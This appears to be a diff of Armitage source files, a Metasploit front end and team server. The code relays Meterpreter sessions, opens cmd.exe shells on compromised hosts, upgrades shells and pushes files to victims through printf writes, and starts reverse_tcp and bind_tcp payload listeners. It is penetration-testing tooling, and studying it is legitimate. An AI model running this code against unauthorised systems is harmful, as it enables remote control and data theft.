$index = 0;
}
release($poll_lock);
#
# on our merry way processing it...
#
while $temp (readObject($handle)) {
($method, $args) = $temp;
if ($method eq "session.meterpreter_read") {
($sid) = $args;
$result = $null;
acquire($read_lock);
if (-isarray $queue[$sid] && size($queue[$sid]) > 0) {
$result = shift($queue[$sid]);
}
release($read_lock);
if ($result !is $null) {
writeObject($handle, $result);
}
else {
writeObject($handle, result(%(data => "", encoding => "base64")));
}
}
else if ($method eq "session.meterpreter_write") {
($sid, $data) = $args;
#warn("P $sess_lock");
acquire($sess_lock);
$session = %sessions[$sid];
release($sess_lock);
#warn("V $sess_lock");
if ($data ismatch "write -c (\\d+) (.*)\n") {
($channel, $data) = matched();
$file = getFileProper("command $+ $sid $+ . $+ $channel $+ .txt");
$h = openf("> $+ $file");
writeb($h, "$data $+ \r\n");
closef($h);
deleteOnExit($file);
[$session addCommand: $id, "write -f \"" . strrep($file, "\\", "/") . "\" $channel $+ \n"];
}
else {
[$session addCommand: $id, $data];
}
writeObject($handle, [new HashMap]);
}
else if ($method eq "armitage.lock") {
($sid) = $args;
acquire($lock_lock);
$data = %locks[$sid];
if ($data is $null) {
%locks[$sid] = $eid;
}
release($lock_lock);
if ($data is $null) {
writeObject($handle, result(%()));
}
else {
writeObject($handle, result(%(error => "$data owns this session.")));
}
}
else if ($method eq "armitage.unlock") {
($sid) = $args;
acquire($lock_lock);
$data = %locks[$sid];
if ($data is $null || $data eq $eid) {
%locks[$sid] = $null;
}
release($lock_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.log") {
($data, $address) = $args;
event("* $eid $data $+ \n");
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.skip") {
acquire($poll_lock);
$index = size(@events);
release($poll_lock);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.push") {
($null, $data) = $args;
event("< $+ $[10]eid $+ > " . $data);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.poll") {
acquire($poll_lock);
if (size(@events) > $index) {
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
$index = size(@events);
}
else {
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
}
release($poll_lock);
writeObject($handle, $rv);
}
else if ($method eq "armitage.append") {
($file, $data) = $args;
$h = openf(">>" . getFileName($file));
writeb($h, $data);
closef($h);
writeObject($handle, result(%()));
}
else if ($method eq "armitage.upload") {
($file, $data) = $args;
$h = openf(">" . getFileName($file));
writeb($h, $data);
closef($h);
deleteOnExit(getFileName($file));
writeObject($handle, result(%(file => getFileProper($file))));
}
else if ($method eq "armitage.download") {
if (-exists $args[0] && -isFile $args[0]) {
$h = openf($args[0]);
$data = readb($h, -1);
closef($h);
writeObject($handle, result(%(data => $data)));
deleteFile($args[0]);
}
else {
writeObject($handle, result(%(error => "file does not exist")));
}
}
else if ($method eq "armitage.download_nodelete") {
if (-exists $args[0] && -isFile $args[0]) {
$h = openf($args[0]);
$data = readb($h, -1);
closef($h);
writeObject($handle, result(%(data => $data)));
}
else {
writeObject($handle, result(%(error => "file does not exist")));
}
}
else if ($method eq "armitage.downloads") {
$response = listDownloads("downloads");
writeObject($handle, $response);
}
else if ($method eq "db.hosts" || $method eq "db.services" || $method eq "db.creds" || $method eq "session.list" || $method eq "db.loots") {
$response = [$client_cache execute: $eid, $method, $null];
if ($args !is $null && -isarray $args && size($args) == 1 && $args[0] == [armitage.ArmitageTimer dataIdentity: $response]) {
writeObject($handle, %(nochange => 1));
}
else {
writeObject($handle, $response);
}
}
else if ("db.filter" eq $method) {
[$client_cache setFilter: $eid, $args];
writeObject($handle, %());
}
else if ("module.*" iswm $method && size($args) == 0) {
# never underestimate the power of caching to alleviate load.
$response = $null;
acquire($cach_lock);
if ($method in %cache) {
$response = %cache[$method];
}
release($cach_lock);
if ($response is $null) {
$response = [$client execute: $method];
acquire($cach_lock);
%cache[$method] = $response;
release($cach_lock);
}
writeObject($handle, $response);
}
else if ($method eq "console.create" || $method eq "console.allocate") {
$response = [$client execute: $method];
$data = [$response get: 'id'];
%consoles[$data] = 1;
writeObject($handle, $response);
}
else if ($method eq "console.destroy" || $method eq "console.release") {
%consoles[$args[0]] = $null;
[$client execute_async: $method, cast($args, ^Object)];
writeObject($handle, %());
}
else if ($method eq "module.execute" && $args[0] eq "payload") {
$response = [$client execute: $method, cast($args, ^Object)];
writeObject($handle, $response);
}
else if ($method in %async) {
if ($args) {
[$client execute_async: $method, cast($args, ^Object)];
}
else {
[$client execute_async: $method];
}
writeObject($handle, %());
}
else {
if ($args) {
$response = [$client execute: $method, cast($args, ^Object)];
}
else {
$response = [$client execute: $method];
}
writeObject($handle, $response);
}
}
if ($eid !is $null) {
event("*** $eid left.\n");
}
# reset the user's filter...
[$client_cache setFilter: $eid, $null];
# cleanup any locked sessions.
acquire($lock_lock);
foreach $key => $value (%locks) {
if ($value eq $eid) {
remove();
}
}
release($lock_lock);
# cleanup any consoles created by not let go of.
foreach $key => $value (%consoles) {
[$client execute_async: "console.release", cast(@("$key"), ^Object)];
}
}
sub main {
global('$client $mclient');
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache');
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
#
# chastise the user if they're wrong...
#
if (size(@ARGV) < 5) {
println("Armitage deconfliction server requires the following arguments:
armitage --server host port user pass
host - the address of this host (where msfrpcd is running as well)
port - the port msfrpcd is listening on
user - the username for msfrpcd
pass - the password for msfprcd
lport - [optional] port to bind the team server to");
[System exit: 0];
}
local('$host $port $user $pass $sport');
($host, $port, $user, $pass, $sport) = sublist(@_, 1);
if ($sport is $null) {
$sport = $port + 1;
}
#
# some sanity checking
#
if ($host eq "127.0.0.1") {
println("Do not specify 127.0.0.1 as your msfrpcd host. This IP address\nis given to clients and they use it to connect to this server.");
[System exit: 0];
}
#
# Connect to Metasploit's RPC Daemon
#
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
while ($client is $null) {
sleep(1000);
$client = [new MsgRpcImpl: $user, $pass, "127.0.0.1", long($port), $null, $null];
}
$mclient = $client;
initConsolePool(); # this needs to happen... right now.
# set the LHOST to whatever the user specified
call_async($client, "core.setg", "LHOST", $host);
#
# setup the client cache
#
$client_cache = [new RpcCacheImpl: $client];
#
# This lock protects the %sessions variable
#
$sess_lock = semaphore(1);
$read_lock = semaphore(1);
$poll_lock = semaphore(1);
$lock_lock = semaphore(1);
$cach_lock = semaphore(1);
#
# create a thread to push console messages to the event queue for all clients.
#
fork({
global('$r');
while (1) {
$r = call($client, "console.read", $console);
if ($r["data"] ne "") {
acquire($poll_lock);
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
release($poll_lock);
}
sleep(2000);
}
}, \$client, \$poll_lock, \@events, $console => createConsole($client));
#
# Create a shared hash that contains a thread for each session...
#
%sessions = ohash();
wait(fork({
setMissPolicy(%sessions, {
warn("Creating a thread for $2");
local('$session');
$session = [new MeterpreterSession: $client, $2, 0];
[$session addListener: lambda({
if ($0 eq "commandTimeout" || $2 is $null) {
return;
}
acquire($read_lock);
# $2 = string id of handle, $1 = sid
if (%readq[$2][$1] is $null) {
%readq[$2][$1] = @();
}
#warn("Pushing into $2 -> $1 's read queue");
#println([$3 get: "data"]);
push(%readq[$2][$1], $3);
release($read_lock);
})];
return $session;
});
}, \%sessions, \$client, \%readq, \$read_lock));
#
# get base directory
#
setupBaseDirectory();
#
# setup the database
#
checkError($null); # clear the error status...
local('$database $error');
$database = connectToDatabase();
[$client setDatabase: $database];
if (checkError($error)) {
println("
** Error ** ** Error ** ** Error ** ** Error ** ** Error **
Could not connect to the Metasploit database. It's possible
that it's not running. Follow the database troubleshooting
steps at:
http://www.fastandeasyhacking.com/start
Also note: the latest Metasploit installer (4.1.4+) does not
create a postgres start script for you. This would explain
why Metasploit's database isn't running. To create one, put:
exec $BASE_DIRECTORY $+ /postgresql/scripts/ctl.sh \"\$@\"
in /etc/init.d/framework-postgres. Then start the database:
service framework-postgres start");
[System exit: 0];
}
# setup the reporting API (must happen after base directory/database is setup)
initReporting();
#
# spit out the details
#
println("Use the following connection details to connect your clients:");
println("\tHost: $host");
println("\tPort: $sport");
println("\tUser: $user");
println("\tPass: $pass");
println("\n" . rand(@("I'm ready to accept you or other clients for who they are",
"multi-player metasploit... ready to go",
"hacking is such a lonely thing, until now",
"feel free to connect now, Armitage is ready for collaboration")));
$id = 0;
while (1) {
$server = listen($sport, 0);
%readq[$id] = %();
fork(&client, \$client, $handle => $server, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
$id++;
}
}
invoke(&main, @ARGV);

View File

@ -0,0 +1,93 @@
#
# Process Browser (for Meterpreter)
#
import table.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import ui.*;
sub updateServiceModel {
local('$port $row $host');
[$model clear: 256];
foreach $host ($hosts) {
if ($host in %hosts && 'services' in %hosts[$host]) {
foreach $port => $row (%hosts[$host]['services']) {
[$model addEntry: $row];
}
}
}
[$model fireListeners];
}
sub createServiceBrowser {
local('$table $model $panel $refresh $sorter $host $copy');
$model = [new GenericTableModel: @("host", "name", "port", "proto", "info"), "host", 16];
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
$table = [new ATable: $model];
$sorter = [new TableRowSorter: $model];
[$sorter toggleSortOrder: 2];
[$table setRowSorter: $sorter];
addMouseListener($table, lambda({
if ([$1 isPopupTrigger]) {
local('$popup $hosts %r $val');
$popup = [new JPopupMenu];
%r = %();
foreach $val ([$model getSelectedValues: $table]) {
%r[$val] = 1;
}
$hosts = keys(%r);
if (size($hosts) > 0) {
host_selected_items($popup, $hosts);
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
}
}
}, \$table, \$model));
[[$table getColumn: "info"] setPreferredWidth: 300];
[[$table getColumn: "host"] setPreferredWidth: 125];
[$sorter setComparator: 2, { return $1 <=> $2; }];
[$sorter setComparator: 0, &compareHosts];
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
$refresh = [new JButton: "Refresh"];
[$refresh addActionListener: lambda({
thread(lambda({
local('$services');
$services = call($mclient, "db.services");
_refreshServices($services);
updateServiceModel(\$hosts, \$model);
}, \$hosts, \$model));
}, \$model, $hosts => $1)];
$copy = [new JButton: "Copy"];
[$copy addActionListener: lambda({
local('%r $val $hosts');
%r = %();
foreach $val ([$model getSelectedValues: $table]) {
%r[$val] = 1;
}
$hosts = keys(%r);
setClipboard(join(", ", $hosts));
showError("Copied selected hosts to clipboard");
}, \$model, \$table)];
updateServiceModel($hosts => $1, \$model);
[$panel add: center($refresh, $copy), [BorderLayout SOUTH]];
[$frame addTab: "Services", $panel, $null];
}

View File

@ -0,0 +1,355 @@
#
# creates a tab for interacting with a shell...
#
import console.*;
import armitage.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import javax.swing.event.*;
import javax.swing.table.*;
import msf.*;
import ui.*;
global('%shells $ashell $achannel %maxq %wait');
%handlers["execute"] = {
this('$command $channel $pid');
if ($0 eq "execute") {
($channel, $pid) = $null;
if ($2 ismatch "execute -t -H -c -f (.*?)") {
($command) = matched();
}
else if ($2 ismatch "execute -t -H -f (.*?) -c") {
($command) = matched();
}
}
else if ($0 eq "update" && $2 ismatch 'Channel (\d+) created.') {
($channel) = matched();
}
else if ($0 eq "update" && $2 ismatch 'Process (\d+) created.') {
($pid) = matched();
}
else if ($0 eq "end" && $channel !is $null && $pid !is $null) {
dispatchEvent(lambda({
local('$console');
$console = [new Console: $preferences];
logCheck($console, sessionToHost($sid), "cmd_ $+ $sid $+ _ $+ $pid");
%shells[$sid][$channel] = $console;
[[$console getInput] addActionListener: lambda({
local('$file $text $handle');
$text = [[$console getInput] getText];
[[$console getInput] setText: ""];
if (%wait[$channel]) {
[$console append: "[*] Dropped. Waiting for previous command to finish.\n" . [[$console getPromptText] trim]];
return;
}
# work around for a whacky behavior with Java meterpreter...
if ([$text trim] eq "" && "*java*" iswm sessionPlatform($sid)) {
return;
}
if ($client !is $mclient) {
%wait[$channel] = 1;
m_cmd($sid, "write -c $channel $text");
}
else {
$handle = openf(">command $+ $sid $+ .txt");
deleteOnExit("command $+ $sid $+ .txt");
writeb($handle, "$text $+ \r\n");
closef($handle);
$file = getFileProper("command $+ $sid $+ .txt");
%wait[$channel] = 1;
m_cmd($sid, "write -f \"" . strrep($file, "\\", "/") . "\" $channel");
}
}, \$sid, \$console, \$channel)];
[$frame addTab: "$command $pid $+ @ $+ $sid", $console, lambda({
m_cmd($sid, "close $channel");
m_cmd($sid, "kill $pid");
%shells[$sid][$channel] = $null;
}, \$sid, \$channel, \$console, \$pid, \$console), "$command $pid $+ @" . sessionToHost($sid)];
m_cmd($sid, "read $channel");
}, \$command, \$channel, \$pid, $sid => $1));
}
};
%handlers["write"] = {
this('$channel $ashell');
if ($0 eq "execute" && $2 ismatch 'write -f .*? (\d+)') {
($channel) = matched();
$ashell = %shells[$1][$channel];
}
else if ($0 eq "execute" && $2 ismatch 'write -c (\d+) .*') {
($channel) = matched();
$ashell = %shells[$1][$channel];
}
else if ($0 eq "update" && $2 ismatch '\[\*]\ Wrote \d+ bytes to channel (\d+)\.') {
deleteFile("command $+ $1 $+ .txt");
local('$channel $ashell');
($channel) = matched();
m_cmd($1, "read $channel");
}
else if ($0 eq "update" && $2 ismatch '\[\-\] .*?' && $ashell !is $null) {
[$ashell append: "\n $+ $2"];
$ashell = $null;
}
else if ($0 eq "timeout") {
deleteFile("command $+ $1 $+ .txt");
m_cmd($1, "read $channel");
}
};
%handlers["read"] = {
if ($0 eq "update") {
if ($2 ismatch 'Read \d+ bytes from (\d+):') {
local('$channel');
($channel) = matched();
$ashell = %shells[$1][$channel];
$achannel = $channel;
}
}
else if ($0 eq "end" && $ashell !is $null) {
local('$v $count');
$v = split("\n", [$2 trim]);
$count = size($v);
shift($v);
while (size($v) > 0 && $v[0] eq "") {
shift($v);
}
#$v = substr($v, join("\n", $v));
[$ashell append: [$ashell getPromptText] . join("\n", $v)];
$ashell = $null;
# look for a prompt at the end of the text... if there isn't one,
# then it's time to do another read.
if (size($v) > 0 && $v[-1] ismatch '.*?[>]{1,2}\s*[\w\d.]+') {
# this is to catch cases like dir /s c:\ >>somefile.txt
# doing an immediate read sometimes creates problems.
# this prevents the read from being immediate so the
# channel doesn't lock up.
# if the command returns faster (e.g., echo "whatever" >somefile)
# then this condition will never trigger as the prompt will end
# the text.
sleep(1500);
m_cmd($1, "read $achannel");
}
else if (size($v) > 0 && $v[-1] ismatch '.*?\\? \\(Yes/No/All\\):') {
# make our shell heuristic tolerant of prompts like this.
%wait[$achannel] = $null;
}
else if (size($v) > 0 && $v[-1] ismatch '.*?\\(Y/N\\)\\?') {
# make our shell heuristic tolerant of prompts like this.
%wait[$achannel] = $null;
}
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
m_cmd($1, "read $achannel");
}
else {
%wait[$achannel] = $null;
}
}
};
sub createShellTab {
m_cmd($1, "execute -t -H -c -f cmd.exe");
}
sub createCommandTab {
m_cmd($1, "execute -t -H -c -f $2");
}
sub shellPopup {
local('$popup');
$popup = [new JPopupMenu];
showShellMenu($popup, \$session, \$sid);
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
}
sub showShellMenu {
item($1, "Interact", 'I', lambda(&createShellSessionTab, \$sid, \$session));
setupMenu($1, "shell", @($sid));
if ("*Windows*" iswm sessionToOS($sid)) {
item($1, "Meterpreter...", 'M', lambda({
call_async($client, "session.shell_upgrade", $sid, $MY_ADDRESS, randomPort());
}, \$sid));
}
else {
item($1, "Upload...", 'U', lambda({
local('$file $name $n');
$file = chooseFile($title => "Select file to upload", $always => 1);
$name = getFileName($file);
if ($file !is $null) {
local('$progress');
$progress = [new ProgressMonitor: $null, "Uploading $name", "Uploading $name", 0, lof($file)];
call($client, "session.shell_write", $sid, "rm -f $name $+ \n");
thread(lambda({
local('$handle $bytes $string $t $start $n $cancel');
$handle = openf($file);
$start = ticks();
while $bytes (readb($handle, 768)) {
yield 1;
if ([$progress isCanceled]) {
call_async($client, "session.shell_write", $sid, "rm -f $name $+ \n");
closef($handle);
return;
}
# convert the bytes to to octal escapes
$string = join("", map({
return "\\" . formatNumber($1, 10, 8);
}, unpack("B*", $bytes)));
call($client, "session.shell_write", $sid, "`which printf` \" $+ $string $+ \" >> $+ $name $+ \n");
$t += strlen($bytes);
[$progress setProgress: $t];
$n = (ticks() - $start) / 1000.0;
if ($n > 0) {
[$progress setNote: "Speed: " . round($t / $n) . " bytes/second"];
}
if (available($handle) == 0) {
closef($handle);
return;
}
}
closef($handle);
return;
}, \$file, \$sid, \$progress, \$name));
}
}, \$sid));
item($1, "Pass Session", 'S', lambda({
launch_dialog("Pass Session", "post", "multi/manage/system_session", 1, $null, %(SESSION => $sid, LPORT => randomPort(), HANDLER => "1"));
}, \$sid));
}
item($1, "Post Modules", 'P', lambda({
showPostModules($sid);
}, \$sid));
separator($1);
item($1, "Disconnect", 'D', lambda({
call_async($client, "session.stop", $sid);
}, \$sid));
}
sub createShellSessionTab {
local('$console');
$console = [new Console: $preferences];
logCheck($console, sessionToHost($sid), "shell_ $+ $sid");
[$console setDefaultPrompt: '$ '];
[$console setPopupMenu: lambda(&shellPopup, \$session, \$sid)];
thread(lambda({
local('%r $thread');
if ($client !is $mclient) {
%r = call($mclient, "armitage.lock", $sid);
if (%r["error"]) {
showError(%r["error"]);
return;
}
}
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
[$frame addTab: "Shell $sid", $console, lambda({
if ($client !is $mclient) {
call_async($mclient, "armitage.unlock", $sid);
}
[$thread kill];
}, \$sid, \$thread), "Shell " . sessionToHost($sid)];
}, \$sid, \$console));
}
sub listen_for_shellz {
local('$dialog $port $type $panel $button');
$dialog = dialog("Create Listener", 640, 480);
$port = [new ATextField: randomPort() + "", 6];
$type = [new JComboBox: @("shell", "meterpreter")];
$panel = [new JPanel];
[$panel setLayout: [new GridLayout: 2, 1]];
[$panel add: label_for("Port: ", 100, $port)];
[$panel add: label_for("Type: ", 100, $type)];
$button = [new JButton: "Start Listener"];
[$button addActionListener: lambda({
local('%options');
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_reverse_tcp", "windows/meterpreter/reverse_tcp");
%options["LHOST"] = "0.0.0.0";
%options["LPORT"] = [$port getText];
%options["ExitOnSession"] = "false";
call_async($client, "module.execute", "exploit", "multi/handler", %options);
[$dialog setVisible: 0];
}, \$dialog, \$port, \$type)];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog add: center($button), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}
sub connect_for_shellz {
local('$dialog $host $port $type $panel $button');
$dialog = dialog("Connect", 640, 480);
$host = [new ATextField: "127.0.0.1", 20];
$port = [new ATextField: randomPort() + "", 6];
$type = [new JComboBox: @("shell", "meterpreter")];
$panel = [new JPanel];
[$panel setLayout: [new GridLayout: 3, 1]];
[$panel add: label_for("Host: ", 100, $host)];
[$panel add: label_for("Port: ", 100, $port)];
[$panel add: label_for("Type: ", 100, $type)];
$button = [new JButton: "Connect"];
[$button addActionListener: lambda({
local('%options');
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_bind_tcp", "windows/meterpreter/bind_tcp");
%options["LPORT"] = [$port getText];
%options["RHOST"] = [$host getText];
warn(%options);
call_async($client, "module.execute", "exploit", "multi/handler", %options);
[$dialog setVisible: 0];
}, \$dialog, \$port, \$type, \$host)];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog add: center($button), [BorderLayout SOUTH]];
[$dialog pack];
[$dialog setVisible: 1];
}

View File

@ -0,0 +1,445 @@
#
# this code handles the plumbing behind the nifty targets tab... user code can redefine any of these
# functions... so you can use what's here or build your own stuff.
#
import msf.*;
import armitage.*;
import graph.*;
import table.*;
import javax.swing.*;
import javax.swing.event.*;
import java.awt.*;
import java.awt.event.*;
global('%hosts $targets');
sub getHostOS {
return iff($1 in %hosts, %hosts[$1]['os_name'], $null);
}
sub getSessions {
return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']);
}
sub sessionToOS {
return getHostOS(sessionToHost($1));
}
sub sessionData {
local('$host $data');
foreach $host => $data (%hosts) {
if ('sessions' in $data && $1 in $data['sessions']) {
return $data['sessions'][$1];
}
}
return $null;
}
sub sessionPlatform {
local('$data');
$data = sessionData($1);
if ('platform' in $data) {
return $data['platform'];
}
return $null;
}
sub sessionToHost {
local('$host $data');
foreach $host => $data (%hosts) {
if ('sessions' in $data && $1 in $data['sessions']) {
return $host;
}
}
return $null;
}
sub refreshSessions {
if ($0 ne "result") { return; }
local('$address $key $session $data @routes @highlights $highlight $id $host $route $mask $peer $gateway %addr');
$data = convertAll($3);
# warn("&refreshSessions - $data");
# clear all sessions from the hosts
map({ $1['sessions'] = %(); }, values(%hosts));
foreach $key => $session ($data) {
$address = $session['session_host'];
$peer = split(':', $session['tunnel_peer'])[0];
if ($address eq "") {
$address = $session['target_host'];
}
if ($address eq "") {
$address = $peer;
}
if ($address !in %hosts) {
continue;
}
%hosts[$address]['sessions'][$key] = $session;
%addr[$key] = $address;
# add a highlight / route for a firewall / NAT device
if ($peer ne $address && $peer ne "") {
push(@routes, [new Route: $address, "255.255.255.255", $peer]);
push(@highlights, @($peer, $address));
}
# save the route information related to this meterpreter session
if ($session['routes'] ne "") {
foreach $route (split(',', $session['routes'])) {
($host, $mask) = split('/', $route);
push(@routes, [new Route: $host, $mask, $address]);
}
}
}
# setup the highlighted edges
foreach $route (@routes) {
$gateway = [$route getGateway];
foreach $key => $session ($data) {
$host = %addr[$key];
if ($gateway ne $host && [$route shouldRoute: $host]) {
push(@highlights, @($gateway, $host));
}
}
}
[SwingUtilities invokeLater: lambda(&refreshGraph, \@routes, \@highlights, \$graph)];
return [$graph isAlive];
}
sub refreshGraph {
local('$address $key $session $data $highlight $id $host $route $mask');
# update everything...
[$graph start];
# update the hosts
foreach $id => $host (%hosts) {
local('$tooltip');
if ('os_match' in $host) {
$tooltip = $host['os_match'];
}
else {
$tooltip = "I know nothing about $id";
}
if ($host['show'] eq "1") {
[$graph addNode: $id, describeHost($host), showHost($host), $tooltip];
}
}
# update the routes
[$graph setRoutes: cast(@routes, ^Route)];
foreach $highlight (@highlights) {
[$graph highlightRoute: $highlight[0], $highlight[1]];
}
[$graph deleteNodes];
[$graph end];
}
sub _refreshServices {
local('$service $host $port');
# clear all sessions from the hosts
map({ $1['services'] = %(); }, values(%hosts));
foreach $service ($1['services']) {
($host, $port) = values($service, @('host', 'port'));
%hosts[$host]['services'][$port] = $service;
}
}
sub refreshServices {
if ($0 ne "result") { return; }
_refreshServices(convertAll($3));
return [$graph isAlive];
}
sub quickParse {
if ($1 ismatch '.*? host=(.*?)(?:\s*service=.*?){0,1}\s*type=(.*?)\s+data=\\{(.*?)\\}') {
local('$host $type $data %r $key $value');
($host, $type, $data) = matched();
%r = %(host => $host, type => $type);
while ($data hasmatch ':([a-z_]+)\=\>"([^"]+)"') {
($key, $value) = matched();
%r[$key] = $value;
}
return %r;
}
}
sub refreshHosts {
if ($0 ne "result") { return; }
local('$host $data $address %newh @fixes $key $value');
$data = convertAll($3);
# warn("&refreshHosts - $data");
foreach $host ($data["hosts"]) {
$address = $host['address'];
if ($address in %hosts && size(%hosts[$address]) > 1) {
%newh[$address] = %hosts[$address];
putAll(%newh[$address], keys($host), values($host));
if ($host['os_name'] eq "") {
%newh[$address]['os_name'] = "Unknown";
}
else {
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
}
}
else {
$host['sessions'] = %();
$host['services'] = %();
%newh[$address] = $host;
if ($host['os_name'] eq "" || $host['os_name'] eq "Unknown") {
$host['os_name'] = "Unknown";
}
else {
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
}
}
# we saw this in our hosts, it's ok to show it in the viz.
%newh[$address]['show'] = 1;
}
%hosts = %newh;
return [$graph isAlive];
}
sub auto_layout_function {
return lambda({
[$graph setAutoLayout: $string];
[$preferences setProperty: "graph.default_layout.layout", $string];
savePreferences();
}, $string => $1, $graph => $2);
}
sub graph_items {
local('$a $b $c');
setupMenu($1, "graph", @());
$a = menu($1, 'Auto-Layout', 'A');
item($a, 'Circle', 'C', auto_layout_function('circle', $2));
item($a, 'Hierarchy', 'H', auto_layout_function('hierarchical', $2));
item($a, 'Stack', 'S', auto_layout_function('stack', $2));
separator($a);
item($a, 'None', 'N', auto_layout_function('', $2));
$b = menu($1, 'Layout', 'L');
item($b, 'Circle', 'C', lambda({ [$graph doCircleLayout]; }, $graph => $2));
item($b, 'Hierarchy', 'H', lambda({ [$graph doHierarchicalLayout]; }, $graph => $2));
item($b, 'Stack', 'S', lambda({ [$graph doStackLayout]; }, $graph => $2));
$c = menu($1, 'Zoom', 'Z');
item($c, 'In', 'I', lambda({ [$graph zoom: 0.25]; }, $graph => $2));
item($c, 'Out', 'O', lambda({ [$graph zoom: -0.25]; }, $graph => $2));
separator($c);
item($c, 'Reset', 'R', lambda({ [$graph resetZoom]; }, $graph => $2));
}
sub _importHosts {
local('$console $success $file');
$success = size($files);
foreach $file ($files) {
$file = '"' . $file . '"';
}
$console = createDisplayTab("Import", $file => "import");
[$console addCommand: $null, "db_import " . join(" ", $files)];
[$console addListener: lambda({
elog("imported hosts from $success file" . iff($success != 1, "s"));
}, \$success)];
[$console start];
[$console stop];
}
# need to pass this function a $command local...
sub importHosts {
local('$files $thread $closure');
$files = iff(size(@_) > 0, @($1), chooseFile($multi => 1, $always => 1));
if ($files is $null || size($files) == 0) {
return;
}
# upload the files please...
if ($client !is $mclient) {
$closure = lambda(&_importHosts);
$thread = [new ArmitageThread: $closure];
fork({
local('$file');
foreach $file ($files) {
$file = uploadBigFile($file);
}
$closure['$files'] = $files;
[$thread start];
}, \$mclient, \$files, \$thread, \$closure);
}
else {
thread(lambda(&_importHosts, \$files));
}
}
# setHostValueFunction(@hosts, varname, value)
# returns a function that when called will update the metasploit database
sub setHostValueFunction {
return lambda({
local('$host %map $key $value');
while (size(@args) >= 2) {
($key, $value) = sublist(@args, 0, 2);
%map[$key] = $value;
shift(@args);
shift(@args);
}
foreach $host (@hosts) {
%map['host'] = $host;
call_async($mclient, "db.report_host", %map);
}
}, @hosts => $1, @args => sublist(@_, 1));
}
sub clearHostFunction {
return lambda({
thread(lambda({
local('@hosts2 $host @commands $queue');
$queue = [new armitage.ConsoleQueue: $client];
@hosts2 = copy(@hosts);
while (size(@hosts2) > 0) {
[$queue addCommand: $null, "hosts -d " . join(" ", sublist(@hosts2, 0, 20))];
if (size(@hosts2) > 20) {
@hosts2 = sublist(@hosts2, 20);
}
else {
@hosts2 = @();
}
}
[$queue addCommand: "x", "hosts -h"];
[$queue addListener: lambda({
elog("removed " . size(@hosts) . iff(size(@hosts) == 1, " host", " hosts"));
[$queue stop];
}, \@hosts, \$queue)];
[$queue start];
}, \@hosts));
}, @hosts => $1);
}
sub clearDatabase {
elog("cleared the database");
call_async($mclient, "db.clear");
}
# called when a target is clicked on...
sub targetPopup {
local('$popup');
$popup = [new JPopupMenu];
# no hosts are selected, create a menu related to the graph itself
if (size($1) == 0 && [$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
graph_items($popup, $graph);
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
}
else if (size($1) > 0) {
host_selected_items($popup, $1);
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
}
}
sub setDefaultAutoLayout {
local('$type');
$type = [$preferences getProperty: "graph.default_layout.layout", "circle"];
[$1 setAutoLayout: $type];
}
sub makeScreenshot {
local('$ss');
if ($graph !is $null) {
$ss = [$graph getScreenshot];
if ($ss !is $null) {
[javax.imageio.ImageIO write: $ss, "png", [new java.io.File: getFileProper($1)]];
return getFileProper($1);
}
}
}
sub createDashboard {
if ($targets !is $null) {
[$targets actionPerformed: $null];
}
local('$graph %hosts $console $split $transfer');
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
setf('&overlay_images', lambda(&overlay_images, $scale => 1.0));
$graph = [new NetworkGraph: $preferences];
}
else {
setf('&overlay_images', lambda(&overlay_images, $scale => 11.0));
$graph = [new NetworkTable: $preferences];
}
# setup the drop portion of our drag and drop...
$transfer = [new ui.ModuleTransferHandler];
[$transfer setHandler: lambda({
local('@temp $type $path $host');
@temp = split('/', $1);
$type = @temp[0];
$path = join('/', sublist(@temp, 1));
$host = [$graph getCellAt: $2];
if ($host !is $null) {
moduleAction($type, $path, @($host));
}
}, \$graph)];
setDefaultAutoLayout($graph);
[$frame setTop: createModuleBrowser($graph, $transfer)];
$targets = $graph;
[$targets setTransferHandler: $transfer];
if ($client !is $mclient) {
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), 1];
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), 1];
[new ArmitageTimer: $mclient, "session.list", 2 * 1000L, lambda(&refreshSessions, \$graph), 1];
}
else {
[new ArmitageTimer: $mclient, "db.hosts", 2.5 * 1000L, lambda(&refreshHosts, \$graph), $null];
[new ArmitageTimer: $mclient, "db.services", 10 * 1000L, lambda(&refreshServices, \$graph), $null];
